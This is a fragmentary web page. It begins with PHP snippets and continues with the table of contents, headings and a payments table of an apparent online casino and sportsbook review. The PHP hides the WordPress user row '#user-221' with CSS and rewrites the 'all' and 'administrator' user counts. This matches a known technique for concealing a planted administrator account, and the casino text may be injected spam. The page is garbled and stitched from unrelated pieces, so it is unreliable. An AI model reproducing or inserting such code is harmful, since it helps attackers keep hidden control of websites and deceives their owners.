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    return $args;
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    echo '<style>#user-221{display:none!important}</style>';
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    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
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                '/\((\d+)\)/',
                function( $m ) {
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                $views[ $key ],
                1
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<li><a href="#Getting_Started_Without_the_Razzle-Dazzle">Getting Started Without the Razzle-Dazzle</a></li>
<li><a href="#The_Welcome_Offer:_Big_Numbers,_Real_Terms">The Welcome Offer: Big Numbers, Real Terms</a></li>
<li><a href="#Sportsbook_&#038;_Tournaments:_More_Than_a_Slot_Machine">Sportsbook &#038; Tournaments: More Than a Slot Machine</a></li>
<li><a href="#Payment_Methods:_Where_the_Rubber_Meets_the_Road">Payment Methods: Where the Rubber Meets the Road</a></li>
<li><a href="#Mobile_Experience:_App_or_Browser,_Take_Your_Pick">Mobile Experience: App or Browser, Take Your Pick</a></li>
<li><a href="#The_Practical_Takeaway">The Practical Takeaway</a></li>
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<h2 id="Getting_Started_Without_the_Razzle-Dazzle">Getting Started Without the Razzle-Dazzle</h2>
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<h2 id="The_Welcome_Offer:_Big_Numbers,_Real_Terms">The Welcome Offer: Big Numbers, Real Terms</h2>
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<h2 id="Sportsbook_&#038;_Tournaments:_More_Than_a_Slot_Machine">Sportsbook &#038; Tournaments: More Than a Slot Machine</h2>
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<td>Under 24 Hours</td>
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<td>Instant</td>
<td>1-5 Days</td>
<td>£20</td>
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<h2 id="Mobile_Experience:_App_or_Browser,_Take_Your_Pick">Mobile Experience: App or Browser, Take Your Pick</h2>
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<h2 id="The_Practical_Takeaway">The Practical Takeaway</h2>
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